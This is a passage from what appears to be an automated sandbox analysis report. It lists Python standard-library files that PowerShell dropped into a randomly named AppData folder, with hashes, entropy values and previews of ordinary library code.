              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2061
              Entropy (8bit):4.864007563538307
              Encrypted:false
              SSDEEP:
              MD5:E5F6FE9A18B73B09824BD89C215667C9
              SHA1:DBF290E7D26C2233941FA6E8E8FA2EBD4007623F
              SHA-256:9E390EB17E2407E9CD60BA5881FF301FD2DE4BD1BDB5C1ED8A046116260BAE2E
              SHA-512:54CF94528C9A41B960901D8F5145A7A8755545596E107E78BBC508097B75A5B318CAD6FA5308233E7EDBB634242B5DC2ECB2D4D70A2E914810B2D424A706BAFF
              Malicious:false
              Reputation:unknown
              Preview:import unittest..import ctypes..from ctypes.test import need_symbol....import _ctypes_test....@need_symbol('c_wchar')..class UnicodeTestCase(unittest.TestCase):.. def test_wcslen(self):.. dll = ctypes.CDLL(_ctypes_test.__file__).. wcslen = dll.my_wcslen.. wcslen.argtypes = [ctypes.c_wchar_p].... self.assertEqual(wcslen("abc"), 3).. self.assertEqual(wcslen("ab\u2070"), 3).. self.assertRaises(ctypes.ArgumentError, wcslen, b"ab\xe4").... def test_buffers(self):.. buf = ctypes.create_unicode_buffer("abc").. self.assertEqual(len(buf), 3+1).... buf = ctypes.create_unicode_buffer("ab\xe4\xf6\xfc").. self.assertEqual(buf[:], "ab\xe4\xf6\xfc\0").. self.assertEqual(buf[::], "ab\xe4\xf6\xfc\0").. self.assertEqual(buf[::-1], '\x00\xfc\xf6\xe4ba').. self.assertEqual(buf[::2], 'a\xe4\xfc').. self.assertEqual(buf[6:5:-1], "").... def test_embedded_null(self):.. class TestStruct(ctypes.Str

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_values.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3972
              Entropy (8bit):4.4896141712154884
              Encrypted:false
              SSDEEP:
              MD5:2924ECDDCA4595D852F0A29974608BA6
              SHA1:54E3A24E09A93434BAF3A67FD8183BA6A5B72262
              SHA-256:95667B278B9A27F03E79A121E5C0E510390F6B23BF1BE190D01E62F7FA9659BB
              SHA-512:87863AE71FBCE560EC4D6418576EDF83C7D84D1182A3CF0221874A4188007B251226192BE8887848D6D5BE8014B86DC0D263FC40B693A2FC0FEF951FBC9E6F5B
              Malicious:false
              Reputation:unknown
              Preview:"""..A testcase which accesses *values* in a dll..."""....import unittest..import sys..from ctypes import *....import _ctypes_test....class ValuesTestCase(unittest.TestCase):.... def test_an_integer(self):.. # This test checks and changes an integer stored inside the.. # _ctypes_test dll/shared lib... ctdll = CDLL(_ctypes_test.__file__).. an_integer = c_int.in_dll(ctdll, "an_integer").. x = an_integer.value.. self.assertEqual(x, ctdll.get_an_integer()).. an_integer.value *= 2.. self.assertEqual(x*2, ctdll.get_an_integer()).. # To avoid test failures when this test is repeated several.. # times the original value must be restored.. an_integer.value = x.. self.assertEqual(x, ctdll.get_an_integer()).... def test_undefined(self):.. ctdll = CDLL(_ctypes_test.__file__).. self.assertRaises(ValueError, c_int.in_dll, ctdll, "Undefined_Symbol")....class PythonValuesTestCase(unittest.TestCase):

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_varsize_struct.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1892
              Entropy (8bit):4.575024110345303
              Encrypted:false
              SSDEEP:
              MD5:16E74AE7496ABD4DD0FA2B6930AF4BA9
              SHA1:FE02FD6A0CC9A5B6283828FE770C6F5EEA53C752
              SHA-256:9413558163A098982EFCADC55B5B3FAFC6A06A66CE427745268980317A024D2D
              SHA-512:A2D8EA184CCA227D57A3564BFC4B0BD93DD86AC747254CDC6B98B8008751E2EE90926AD677D1D08DE8A559CCFC95CC534DB12A568F11006F8E790A9818300D21
              Malicious:false
              Reputation:unknown
              Preview:from ctypes import *..import unittest....class VarSizeTest(unittest.TestCase):.. def test_resize(self):.. class X(Structure):.. _fields_ = [("item", c_int),.. ("array", c_int * 1)].... self.assertEqual(sizeof(X), sizeof(c_int) * 2).. x = X().. x.item = 42.. x.array[0] = 100.. self.assertEqual(sizeof(x), sizeof(c_int) * 2).... # make room for one additional item.. new_size = sizeof(X) + sizeof(c_int) * 1.. resize(x, new_size).. self.assertEqual(sizeof(x), new_size).. self.assertEqual((x.item, x.array[0]), (42, 100)).... # make room for 10 additional items.. new_size = sizeof(X) + sizeof(c_int) * 9.. resize(x, new_size).. self.assertEqual(sizeof(x), new_size).. self.assertEqual((x.item, x.array[0]), (42, 100)).... # make room for one additional item.. new_size = sizeof(X) + sizeof(c_int) * 1.. resize(x, new_size)..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_win32.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):5163
              Entropy (8bit):4.724115766570873
              Encrypted:false
              SSDEEP:
              MD5:D071F631263D91D552C0B3471B9C14E7
              SHA1:F4DF20736BB8E4558ABE8BADAC9CF9D255F6D77C
              SHA-256:6EADD6476638A4D96E57559107552FCA96B932525D8522670E639659AF864604
              SHA-512:A63B8FD5DA9CCE00CC9B7F91217BA09401D907C80CDCFAF38D2124B18A20033A233C23B51AF292C165EFBD243D79AC397D925E86747D6DF48129D5D64CEE32BD
              Malicious:false
              Reputation:unknown
              Preview:# Windows specific tests....from ctypes import *..import unittest, sys..from test import support....import _ctypes_test....@unittest.skipUnless(sys.platform == "win32", 'Windows-specific test')..class FunctionCallTestCase(unittest.TestCase):.. @unittest.skipUnless('MSC' in sys.version, "SEH only supported by MSC").. @unittest.skipIf(sys.executable.lower().endswith('_d.exe'),.. "SEH not enabled in debug builds").. def test_SEH(self):.. # Disable faulthandler to prevent logging the warning:.. # "Windows fatal exception: access violation".. with support.disable_faulthandler():.. # Call functions with invalid arguments, and make sure.. # that access violations are trapped and raise an.. # exception... self.assertRaises(OSError, windll.kernel32.GetModuleHandleA, 32).... def test_noargs(self):.. # This is a special case on win32 x64.. windll.user32.GetDesktopWindow()......@unittest.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_wintypes.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1440
              Entropy (8bit):4.787552984860967
              Encrypted:false
              SSDEEP:
              MD5:AF98AFCA97E67DFDFC4867B0E7140B37
              SHA1:D24AD3041C2FBE1DA28717806EDA588C3A000442
              SHA-256:718F309C3903BA935D0B22EC676AD77261B1AD866E926D500FDB8CB2F65CBF97
              SHA-512:6EE74B3AF3BAD18277725E2F6A48DDCAD20244F4D5E73023C2FCB28C185303E1E5C86538A36D6D1638031B0A73F284202E5E14B4E1EBDDFFD9484838B7902AF9
              Malicious:false
              Reputation:unknown
              Preview:import unittest....# also work on POSIX....from ctypes import *..from ctypes import wintypes......class WinTypesTest(unittest.TestCase):.. def test_variant_bool(self):.. # reads 16-bits from memory, anything non-zero is True.. for true_value in (1, 32767, 32768, 65535, 65537):.. true = POINTER(c_int16)(c_int16(true_value)).. value = cast(true, POINTER(wintypes.VARIANT_BOOL)).. self.assertEqual(repr(value.contents), 'VARIANT_BOOL(True)').... vb = wintypes.VARIANT_BOOL().. self.assertIs(vb.value, False).. vb.value = True.. self.assertIs(vb.value, True).. vb.value = true_value.. self.assertIs(vb.value, True).... for false_value in (0, 65536, 262144, 2**33):.. false = POINTER(c_int16)(c_int16(false_value)).. value = cast(false, POINTER(wintypes.VARIANT_BOOL)).. self.assertEqual(repr(value.contents), 'VARIANT_BOOL(False)').... # a

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\util.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):14255
              Entropy (8bit):4.3320309673523
              Encrypted:false
              SSDEEP:
              MD5:7C2EF43E92C48F791F1C571975BFC2D5
              SHA1:C25DA8FCDAE79CC10709030575DCDDF9F996A0C1
              SHA-256:54D572F350291473AF1C38BC3E03BD58FB71F0F1A4BDC8B629C143D544E9A56A
              SHA-512:A0A9AE757CEF9B00DC628B5268B2B0553016E7D55A44F3192F51444FAD46AA17F9E6F3F0D61FB33F84B781133E2B61EFBA9208E3D8B89AB33C3981FA9D0CDEE9
              Malicious:false
              Reputation:unknown
              Preview:import os..import shutil..import subprocess..import sys....# find_library(name) returns the pathname of a library, or None...if os.name == "nt":.... def _get_build_version():.. """Return the version of MSVC that was used to build Python..... For Python 2.3 and up, the version number is included in.. sys.version. For earlier versions, assume the compiler is MSVC 6... """.. # This function was copied from Lib/distutils/msvccompiler.py.. prefix = "MSC v.".. i = sys.version.find(prefix).. if i == -1:.. return 6.. i = i + len(prefix).. s, rest = sys.version[i:].split(" ", 1).. majorVersion = int(s[:-2]) - 6.. if majorVersion >= 13:.. majorVersion += 1.. minorVersion = int(s[2:3]) / 10.0.. # I don't think paths are affected by minor version in version 6.. if majorVersion == 6:.. minorVersion = 0.. if majorVersion >= 6:.. return majorV

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\wintypes.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):5830
              Entropy (8bit):5.212910906342309
              Encrypted:false
              SSDEEP:
              MD5:E79896C3F4A4880478A06B6C5F248689
              SHA1:0014939254AB98DD51BECD1E77CA5AA814F26793
              SHA-256:F0EBC6BB351C64EADEC46014490C951A21798226BFBD487623C8630DCC0A21D8
              SHA-512:2F800888926E2D0FEBFEDD351D987A90CBC52DE39A6DA18A1A4F2BAE606C2EE2A54F7492FCB09AD4503F37FC93803768899CD84786FE16837CFD4DCC9BE5CCE2
              Malicious:false
              Reputation:unknown
              Preview:# The most useful windows datatypes..import ctypes....BYTE = ctypes.c_byte..WORD = ctypes.c_ushort..DWORD = ctypes.c_ulong....#UCHAR = ctypes.c_uchar..CHAR = ctypes.c_char..WCHAR = ctypes.c_wchar..UINT = ctypes.c_uint..INT = ctypes.c_int....DOUBLE = ctypes.c_double..FLOAT = ctypes.c_float....BOOLEAN = BYTE..BOOL = ctypes.c_long....class VARIANT_BOOL(ctypes._SimpleCData):.. _type_ = "v".. def __repr__(self):.. return "%s(%r)" % (self.__class__.__name__, self.value)....ULONG = ctypes.c_ulong..LONG = ctypes.c_long....USHORT = ctypes.c_ushort..SHORT = ctypes.c_short....# in the windows header files, these are structures..._LARGE_INTEGER = LARGE_INTEGER = ctypes.c_longlong.._ULARGE_INTEGER = ULARGE_INTEGER = ctypes.c_ulonglong....LPCOLESTR = LPOLESTR = OLESTR = ctypes.c_wchar_p..LPCWSTR = LPWSTR = ctypes.c_wchar_p..LPCSTR = LPSTR = ctypes.c_char_p..LPCVOID = LPVOID = ctypes.c_void_p....# WPARAM is defined as UINT_PTR (unsigned type)..# LPARAM is defined as LONG_PTR (signed type

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\curses\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3470
              Entropy (8bit):4.6313548180715145
              Encrypted:false
              SSDEEP:
              MD5:63A612B59CF6205D8F5DC6984B8030C0
              SHA1:825D120E85A437872023475A70894A3E74D6023D
              SHA-256:EF71D789E173399F3F33F1EF5F5284456C9F3690779D1E597F3A92BD67C64E9C
              SHA-512:7A0666A8257FAA4D4E236E71EC63B9ECB6DFCB1F7A504EAA8E2030E99EF5AE525211DF9500CBA51DB5DE0DEE2CC0D7F913FC815B05FD2FE7331B78D1A65CCBD3
              Malicious:false
              Reputation:unknown
              Preview:"""curses....The main package for curses support for Python. Normally used by importing..the package, and perhaps a particular module inside it..... import curses.. from curses import textpad.. curses.initscr().. ......."""....from _curses import *..import os as _os..import sys as _sys....# Some constants, most notably the ACS_* ones, are only added to the C..# _curses module's dictionary after initscr() is called. (Some..# versions of SGI's curses don't define values for those constants..# until initscr() has been called.) This wrapper function calls the..# underlying C initscr(), and then copies the constants from the..# _curses module to the curses package's dictionary. Don't do 'from..# curses import *' if you'll be needing the ACS_* constants.....def initscr():.. import _curses, curses.. # we call setupterm() here because it raises an error.. # instead of calling exit() in error cases... setupterm(term=_os.environ.get("TERM", "unknown"),.. fd=_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\curses\ascii.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2646
              Entropy (8bit):4.809499880351434
              Encrypted:false
              SSDEEP:
              MD5:000A12324F07A03393565E9BFA3B98ED
              SHA1:BBF9FEAB904877B3FD003AEC89D4EF21436AC7C9
              SHA-256:42C4FB28EAA5A3DC8E65564B4A7FC7A352FCF775436E54A2BAA6608640434BE7
              SHA-512:FCA34F80634F598317B0026D18BABF15DCE8E7CDBA0DF814726CBC41C38880D698453A1E10260609AA2286F2996614654C94B6D913B8E765CF5AD9A25C6D6A06
              Malicious:false
              Reputation:unknown
              Preview:"""Constants and membership tests for ASCII characters"""....NUL = 0x00 # ^@..SOH = 0x01 # ^A..STX = 0x02 # ^B..ETX = 0x03 # ^C..EOT = 0x04 # ^D..ENQ = 0x05 # ^E..ACK = 0x06 # ^F..BEL = 0x07 # ^G..BS = 0x08 # ^H..TAB = 0x09 # ^I..HT = 0x09 # ^I..LF = 0x0a # ^J..NL = 0x0a # ^J..VT = 0x0b # ^K..FF = 0x0c # ^L..CR = 0x0d # ^M..SO = 0x0e # ^N..SI = 0x0f # ^O..DLE = 0x10 # ^P..DC1 = 0x11 # ^Q..DC2 = 0x12 # ^R..DC3 = 0x13 # ^S..DC4 = 0x14 # ^T..NAK = 0x15 # ^U..SYN = 0x16 # ^V..ETB = 0x17 # ^W..CAN = 0x18 # ^X..EM = 0x19 # ^Y..SUB = 0x1a # ^Z..ESC = 0x1b # ^[..FS = 0x1c # ^\..GS = 0x1d # ^]..RS = 0x1e # ^^..US = 0x1f # ^_..SP = 0x20 # space..DEL = 0x7f # delete....controlnames = [.."NUL", "SOH", "STX", "ETX", "EOT", "ENQ", "ACK", "BEL",.."BS", "HT", "LF", "VT", "FF", "CR", "SO", "SI",.."DLE",

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\curses\has_key.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):5826
              Entropy (8bit):4.959924122820079
              Encrypted:false
              SSDEEP:
              MD5:46B1621C4966F8371A3DEF67C5C6D632
              SHA1:7037456C1925919F1831799C924D78B7A327E7C7
              SHA-256:4838A7369459A90C58CFA5804C824F486BFAC1B7A8AE751C7DAB5443B500695E
              SHA-512:059CFD25C38EB136F68551103470A82571D4A5EBEFB7708CAB16281B84C4ED8F4CA4C8D30FC42696B51099E33BF4319DE149AA760EFE22E7B4616A0902240CEA
              Malicious:false
              Reputation:unknown
              Preview:..#..# Emulation of has_key() function for platforms that don't use ncurses..#....import _curses....# Table mapping curses keys to the terminfo capability name...._capability_names = {.. _curses.KEY_A1: 'ka1',.. _curses.KEY_A3: 'ka3',.. _curses.KEY_B2: 'kb2',.. _curses.KEY_BACKSPACE: 'kbs',.. _curses.KEY_BEG: 'kbeg',.. _curses.KEY_BTAB: 'kcbt',.. _curses.KEY_C1: 'kc1',.. _curses.KEY_C3: 'kc3',.. _curses.KEY_CANCEL: 'kcan',.. _curses.KEY_CATAB: 'ktbc',.. _curses.KEY_CLEAR: 'kclr',.. _curses.KEY_CLOSE: 'kclo',.. _curses.KEY_COMMAND: 'kcmd',.. _curses.KEY_COPY: 'kcpy',.. _curses.KEY_CREATE: 'kcrt',.. _curses.KEY_CTAB: 'kctab',.. _curses.KEY_DC: 'kdch1',.. _curses.KEY_DL: 'kdl1',.. _curses.KEY_DOWN: 'kcud1',.. _curses.KEY_EIC: 'krmir',.. _curses.KEY_END: 'kend',.. _curses.KEY_ENTER: 'kent',.. _curses.KEY_EOL: 'kel',.. _curses.KEY_EOS: 'ked',.. _curses.KEY_EXIT: 'kext',.. _curses.KEY_F0: 'kf0',.. _curses.KEY_F1

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\curses\panel.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):93
              Entropy (8bit):4.41480518258504
              Encrypted:false
              SSDEEP:
              MD5:5D453D87DBDD7C37EB62894B472EB094
              SHA1:67787E6A4D122CD29B3A66D20084E8C6CF0CA126
              SHA-256:9B10A03C3224939D9BE2A078FE896DA5CFEAA9740D265F8052B5403BC5E15BBF
              SHA-512:8644680425F755CFB0B62AA5E52ABABE68AB0471A1D79EEEBD99CD9A8EDB6916B5230451BEA9F9B08ACDFE21358666123A2C2DCF3D3212AC2B12D89940DE41F9
              Malicious:false
              Reputation:unknown
              Preview:"""curses.panel....Module for using panels with curses..."""....from _curses_panel import *..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\curses\textpad.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7858
              Entropy (8bit):4.332455152050213
              Encrypted:false
              SSDEEP:
              MD5:DD91DF75B078E3244BC13D35B9720367
              SHA1:60FFFCFCA35076C7334EA5E9D5F7E5B9D7A9F166
              SHA-256:C8F8A7BA4705B571AA46BA16870FC9CFA8B9C5A4633E30556FF7DA162F67B15D
              SHA-512:2ACE5EFCF60B261019F3EB718888723E4BD620B9FDA805656197652DA7B4D694BEC07A71E48972CFCC0AA4DC98733F2D34B7141894C4337A4BB690917631D598
              Malicious:false
              Reputation:unknown
              Preview:"""Simple textbox editing widget with Emacs-like keybindings."""....import curses..import curses.ascii....def rectangle(win, uly, ulx, lry, lrx):.. """Draw a rectangle with corners at the provided upper-left.. and lower-right coordinates... """.. win.vline(uly+1, ulx, curses.ACS_VLINE, lry - uly - 1).. win.hline(uly, ulx+1, curses.ACS_HLINE, lrx - ulx - 1).. win.hline(lry, ulx+1, curses.ACS_HLINE, lrx - ulx - 1).. win.vline(uly+1, lrx, curses.ACS_VLINE, lry - uly - 1).. win.addch(uly, ulx, curses.ACS_ULCORNER).. win.addch(uly, lrx, curses.ACS_URCORNER).. win.addch(lry, lrx, curses.ACS_LRCORNER).. win.addch(lry, ulx, curses.ACS_LLCORNER)....class Textbox:.. """Editing widget using the interior of a window object... Supports the following Emacs-like key bindings:.... Ctrl-A Go to left edge of window... Ctrl-B Cursor left, wrapping to previous line if appropriate... Ctrl-D Delete character under cursor... Ctrl-E Go to

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\dataclasses.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):57843
              Entropy (8bit):4.565189337129502
              Encrypted:false
              SSDEEP:
              MD5:EEC7AE15E02166AF44AF145D8D3EE693
              SHA1:1924169EAA60357FB673D38EE9A3B7FFF4679AAE
              SHA-256:E8B1C870DA3EFFEC3260E4126BD55197A836D14C4F4CC886F791BDDE36F6EA12
              SHA-512:CAC4D5FFB67FFA3BB95A3C331158D9ABD8F3DAC1E1F2FE792F52DFD2F1213E5777C9736BE045814A6F6CA0E99DC39CD1DC2B6D9D52EE941D9003F8C37935C47E
              Malicious:false
              Reputation:unknown
              Preview:import re..import sys..import copy..import types..import inspect..import keyword..import builtins..import functools..import abc..import _thread..from types import FunctionType, Generiuseras......__all__ = ['dataclass',.. 'field',.. 'Field',.. 'FrozenInstanceError',.. 'InitVar',.. 'KW_ONLY',.. 'MISSING',.... # Helper functions... 'fields',.. 'asdict',.. 'astuple',.. 'make_dataclass',.. 'replace',.. 'is_dataclass',.. ]....# Conditions for adding methods. The boxes indicate what action the..# dataclass decorator takes. For all of these tables, when I talk..# about init=, repr=, eq=, order=, unsafe_hash=, or frozen=, I'm..# referring to the arguments to the @dataclass decorator. When..# checking if a dunder method already exists, I mean check for an..# entry in the class's __dict__. I never check to see if an attribute..# is defined in a base class

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\datetime.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):90610
              Entropy (8bit):4.496267695360937
              Encrypted:false
              SSDEEP:
              MD5:B5F6D238CA79D8E5D3AAE5257EC3CE47
              SHA1:19F628431FE6CC65407C2457324F8CCD51B385BF
              SHA-256:E52A488B10C34E4D7C09740D2BFE2876C5AD6768FFDB66D8582224E55376B67B
              SHA-512:B7CD3C2D46D93C0E096F9231106951EEF265A29D7212DAFCBF8EEBA79BF768D88AC683BEAD312C0A5E9498CA8356E91AB93E029D6F6B1B217548D6C8E4A5FF18
              Malicious:false
              Reputation:unknown
              Preview:"""Concrete date/time and related types.....See http://www.iana.org/time-zones/repository/tz-link.html for..time zone and DST data sources..."""....__all__ = ("date", "datetime", "time", "timedelta", "timezone", "tzinfo",.. "MINYEAR", "MAXYEAR")......import time as _time..import math as _math..import sys..from operator import index as _index....def _cmp(x, y):.. return 0 if x == y else 1 if x > y else -1....MINYEAR = 1..MAXYEAR = 9999.._MAXORDINAL = 3652059 # date.max.toordinal()....# Utility functions, adapted from Python's Demo/classes/Dates.py, which..# also assumes the current Gregorian calendar indefinitely extended in..# both directions. Difference: Dates.py calls January 1 of year 0 day..# number 1. The code here calls January 1 of year 1 day number 1. This is..# to match the definition of the "proleptic Gregorian" calendar in Dershowitz..# and Reingold's "Calendrical Calculations", where it's the base calendar..# for all computations. See the book for algorit

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\dbm\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6028
              Entropy (8bit):4.43522803289218
              Encrypted:false
              SSDEEP:
              MD5:AAA7BF10D5BB5125CD6A9F6584EFDFBD
              SHA1:E2DDC2C9069BF1394F5BB930A636A69E2F114B8B
              SHA-256:31CCB3572790579F00A99D0E76513E43F1554D8E72BE2B83C4795427F24885B2
              SHA-512:91EDF7E2E6FC44462F53C2EBD8F4CEE535298034DA5656959DC00C8B1FF3F90C8FC08B4B148BA4E3E8EEF9E2F77DE77F7ECF2250ABAE70AE574E5981176782F3
              Malicious:false
              Reputation:unknown
              Preview:"""Generic interface to all dbm clones.....Use.... import dbm.. d = dbm.open(file, 'w', 0o666)....The returned object is a dbm.gnu, dbm.ndbm or dbm.dumb object, dependent on the..type of database being opened (determined by the whichdb function) in the case..of an existing dbm. If the dbm does not exist and the create or new flag ('c'..or 'n') was specified, the dbm type will be determined by the availability of..the modules (tested in the above order).....It has the following interface (key and data are strings):.... d[key] = data # store data at key (may override data at.. # existing key).. data = d[key] # retrieve data at key (raise KeyError if no.. # such key).. del d[key] # delete data stored at key (raises KeyError.. # if no such key).. flag = key in d # true if the key exists.. list = d.keys() # return a list of all existing keys (slow!)....Future versio

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\dbm\dumb.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):11852
              Entropy (8bit):4.456406302245384
              Encrypted:false
              SSDEEP:
              MD5:90265924B0CF9D1E3A0EF2BB2D549CE2
              SHA1:7E53DFC0CC4E6923C2EEF405631364C8754605FB
              SHA-256:96FC314ECD5EA6344FB016F3631D8013B214627D30B5AB19C21D1D6D35C5306A
              SHA-512:9A2A5E08CB8976F84DBA28A59FF1B132F60597D3C9499B33A5E0DA6A193F63339DD468B7223545BFC7B20B248C520739D4C6BBD86451262FE2A51D7A5D7F0160
              Malicious:false
              Reputation:unknown
              Preview:"""A dumb and slow but simple dbm clone.....For database spam, spam.dir contains the index (a text file),..spam.bak *may* contain a backup of the index (also a text file),..while spam.dat contains the data (a binary file).....XXX TO DO:....- seems to contain a bug when updating.......- reclaim free space (currently, space once occupied by deleted or expanded..items is never reused)....- support concurrent access (currently, if two processes take turns making..updates, they can mess up the index)....- support efficient access to large databases (currently, the whole index..is read when the database is opened, and some updates rewrite the whole index)....- support opening for read-only (flag = 'm')...."""....import ast as _ast..import io as _io..import os as _os..import collections.abc....__all__ = ["error", "open"]...._BLOCKSIZE = 512....error = OSError....class _Database(collections.abc.MutableMapping):.... # The on-disk directory and data files can remain in mutually.. # inconsi

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\dbm\gnu.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):75
              Entropy (8bit):4.301891945228928
              Encrypted:false
              SSDEEP:
              MD5:49B75CF4D832E5DB5BFE4537C5332188
              SHA1:2EB4AA2CC6539F68E5A42590919F97CF02B47F24
              SHA-256:98DCF3E73DC56C7DBF013852F685EAC1FE3A911785E682AB69836EBA5656C142
              SHA-512:AD5DF52AD3AEF6D44F23D934CD3DE15E7D1BA4900FDE2E70C21009B074C718A47ECFEFA2B14B2FE9462B7DC0BBA8C5371236CA926704A0FD21DEC0FF4D1B450B
              Malicious:false
              Reputation:unknown
              Preview:"""Provide the _gdbm module as a dbm submodule."""....from _gdbm import *..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\dbm\ndbm.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):73
              Entropy (8bit):4.237502560318079
              Encrypted:false
              SSDEEP:
              MD5:5967B257F3143A915F76FA1F4494E989
              SHA1:BD1C90535C5926383AE4B6D02936AB96A147AE92
              SHA-256:D747238751AA697D7040EE1479E0C3EFF0172E1195825061CF517CF9BEF30050
              SHA-512:B6DB12A07B47BB2D034354B81CF4EDEC4E7F1305DE222FC7E68F14AB290F12F9F576D7BB4EFF138186E1B6DED2168882A79447EA1BCFDD3ED5C19869503EEBD9
              Malicious:false
              Reputation:unknown
              Preview:"""Provide the _dbm module as a dbm submodule."""....from _dbm import *..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\decimal.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):331
              Entropy (8bit):4.098213504925523
              Encrypted:false
              SSDEEP:
              MD5:19468B7C81C8C73F6B37DE1BE745672C
              SHA1:1877E11D665B90BCEBED2341A6806DCBC62FB499
              SHA-256:F205D8DC95D81B5D2B59362CBE0E385CFEEB98C14A70971F3372BE1403378B03
              SHA-512:3D129FA184C46A8B8D77D235946875DA7543EE964E1FEEC5986C3816EA9A4D023F3A71A3EBDA9D6539CF7F561C8E0D8F9749B9CB3310B84B16391642A5E7CD2A
              Malicious:false
              Reputation:unknown
              Preview:..try:.. from _decimal import *.. from _decimal import __doc__.. from _decimal import __version__.. from _decimal import __libmpdec_version__..except ImportError:.. from _pydecimal import *.. from _pydecimal import __doc__.. from _pydecimal import __version__.. from _pydecimal import __libmpdec_version__..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\difflib.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):85364
              Entropy (8bit):4.512246773776763
              Encrypted:false
              SSDEEP:
              MD5:FF9CBAADC1B0F414B2627CE5F761AB8E
              SHA1:8ED742A47D1C009E2789328C2AD2DF72D3788B7F
              SHA-256:F517AE2F8750BD8A1C7A2F5BB14310CA2D961B7402AF7A8AB256EF75C91769B6
              SHA-512:191349E29C43C528D9246607189E6F8D740134121A46EF96E94C0A51C441EEC8D47C05DFDC53E33294EF35B35BD7153A3DDA7B5DBF1A41F9FA4F6309D3D5CCD6
              Malicious:false
              Reputation:unknown
              Preview:"""..Module difflib -- helpers for computing deltas between objects.....Function get_close_matches(word, possibilities, n=3, cutoff=0.6):.. Use SequenceMatcher to return list of the best "good enough" matches.....Function context_diff(a, b):.. For two lists of strings, return a delta in context diff format.....Function ndiff(a, b):.. Return a delta: the difference between `a` and `b` (lists of strings).....Function restore(delta, which):.. Return one of the two sequences that generated an ndiff delta.....Function unified_diff(a, b):.. For two lists of strings, return a delta in unified diff format.....Class SequenceMatcher:.. A flexible class for comparing pairs of sequences of any type.....Class Differ:.. For producing human-readable deltas from sequences of lines of text.....Class HtmlDiff:.. For producing HTML side by side comparison with change highlights..."""....__all__ = ['get_close_matches', 'ndiff', 'restore', 'SequenceMatcher',.. 'Differ','IS

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\dis.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
